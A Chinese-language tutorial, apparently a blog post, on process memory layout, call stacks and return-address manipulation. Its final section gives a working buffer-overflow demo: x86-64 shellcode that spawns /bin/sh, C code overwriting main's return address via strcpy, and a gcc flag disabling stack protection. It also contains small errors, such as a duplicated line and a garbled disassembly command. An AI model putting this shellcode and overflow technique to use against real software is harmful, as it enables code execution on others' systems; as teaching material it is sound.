函数调用栈与缓冲区溢出
进程空间分配
每一个进程都有自己的一个进程堆栈空间。在Linux界面执行一个执行码时,Shell进程会fork一个子进程,再调用exec系统调用在子进程中执行该执行码。exec系统调用执行新程序时会把命令行参数和环境变量表传递给main函数,它们在整个进程堆栈空间中的位置如下图所示。
注意:stack区是高地址->低地址,heap区相反。
- heap区:程序执行时,按照程序需要动态分配的内存空间。malloc、calloc、realloc。如正在处理的数据,编辑的文档。
- stack区:存放程序执行时局部变量、函数调用信息、中断现场保留信息。进程中的不同线程可以共享代码段和数据段,但是都有自己的stack。CPU堆栈段指针会在栈顶根据执行情况进行上下移动。
- bss段:未初始化数据段,如未初始化的全局变量、全局静态变量、局部静态变量,程序执行前操作系统将此段初始化为0。
- data区:已初始化的全局变量、全局静态变量、局部静态变量
- code区:可执行文件和库
一个经典的例子
int a = 0; //全局初始化区
int a = 0; //全局初始化区
char *p1; //全局未初始化区
main() {
int b; //栈
char s[] = "abc"; //栈
char *p2; //栈
char *p3 = "123456"; //123456\0在常量区,p3在栈上。
static int c = 0; //全局(静态)初始化区
p1 = (char *)malloc(10);
p2 = (char *)malloc(20);
//分配得来得10和20字节的区域就在堆区。
strcpy(p1, "123456"); //123456\0放在常量区,编译器可能会将它与p3所指向的"123456"优化成一个地方。
}
参考:
https://blog.csdn.net/yingms/article/details/53188974
函数调用和返回地址
如何查看程序的汇编代码?
linux系统中使用dump -j ret
汇编中的寄存器
- 指令指针 eip,自增1,计算机会沿着eip的方向顺序执行
- 函数栈的栈底和栈顶,ebp、esp(32位OS),rbp、rsp(64位OS)
当发生函数调用时,汇编语言里使用call命令,产生两个效果:
- esp减4字节,将返回地址(调用指令的下一条指令的地址)压入esp。函数返回时,返回地址都会从堆栈中弹出。
- 跳转到被调用的函数栈,具体操作是eip指向被调用函数的stack
这个过程中,esp是这样变化的,首先,call引起返回地址入栈,esp从0xbffff320变为0xbffff31c;然后,eip入栈,esp从0xbffff31c变为0xbffff318。然后ebp指向esp,获得当前的esp的值。在接下来,esp减小0x10,成为0xbffff308。function函数也获得了一定的栈空间。
调用栈变化如图
下面举例分析
void function(int a,int b, int c){
int *ret;
ret = &a - 1;
(*ret)+= 7;
}
void main(){
int x;
x = 0;
function(1,2,3);
x = 1;
printf("x is %d\n",x);
}
32位系统中,function的参数abc存放在main的调用栈中。
调用function的返回地址:x=1指令在调用栈中的地址。
地址空间一般用十六进制表示,+1、-1的单位是字节。
ret = &a - 1 得到返回地址的存放地址。优于ret时int型指针。所以 -1表示 -4字节,在十六进制地址上表示 - 0x4。
*ret + 7 改变返回地址。即x=1指令的地址 + 0x7 (十六进制),x=1这条指令正好占7个字节,越过x=1,直接printf。
所以运行结果是x is 0。
64位系统中
void function(unsigned long a, unsigned long b, unsigned long c){
unsigned long * ret;
ret = &a + 4; // + 4*8字节 , 即 + 0x20
//也可以写成下面这种形式
//ret = (unsigned long *)((char *)&a + 32);
(*ret) += 7;
}
void main(){
int x;
x = 0;
function(1,2,3);
x = 1;
printf("x is %d\n",x);
}
返回地址不变。
64位系统中,通过寄存器把main中的实参传递到function调用栈的形参abc中。
ret=&a + 4,取得返回地址的地址。
*ret = 7 ,将返回地址指向printf。
缓冲区溢出攻击
利用shellcode演示缓冲区溢出。
shellcode是程序代码的汇编形式,存在字符串中,可以被调用执行,但是不能执行堆栈区的代码,所以可以放在数据区。
//这段shellcode的作用是打开一个新的shell覆盖当前shell
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
char large_string[256];
void main() {
char buffer[96];
int i;
unsigned long *long_ptr = (unsigned long *) large_string;
/*使用buffer首地址填充large_string*/
for (i = 0; i < 32; i++)
*(long_ptr + i) = (unsigned long) buffer;
/*将shellcode拷贝进large string,这样largestring的起始部分是shellcode,后边全是buffer的地址*/
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
/*使用strcpy,保证buffer首地址就是shellode的起始*,并且通过溢出将调用main的返回地址覆盖位buffer的地址*/
strcpy(buffer,large_string);
}
main函数也是被调用的,它的栈底下面也紧挨着存放了一个返回地址。
如果将这个返回地址变成shellcode的地址,那么就可以执行shellcode。
如何改变返回地址呢?
方法是缓冲区溢出。如用strcpy将字符串a[100]拷贝到buffer[10],由于strcpy不执行长度校验,所以它会把超出buffer的长度直接
拷贝覆盖到buffer的后面。利用这一点可以对调用main时的返回地址重定向。
注意:编译时,关闭栈溢出保护
gcc overflow.c -fno-stack-protector -o overflow
否则会出现如下错误
参考:
https://zhuanlan.zhihu.com/p/62742596
https://zhuanlan.zhihu.com/p/62471331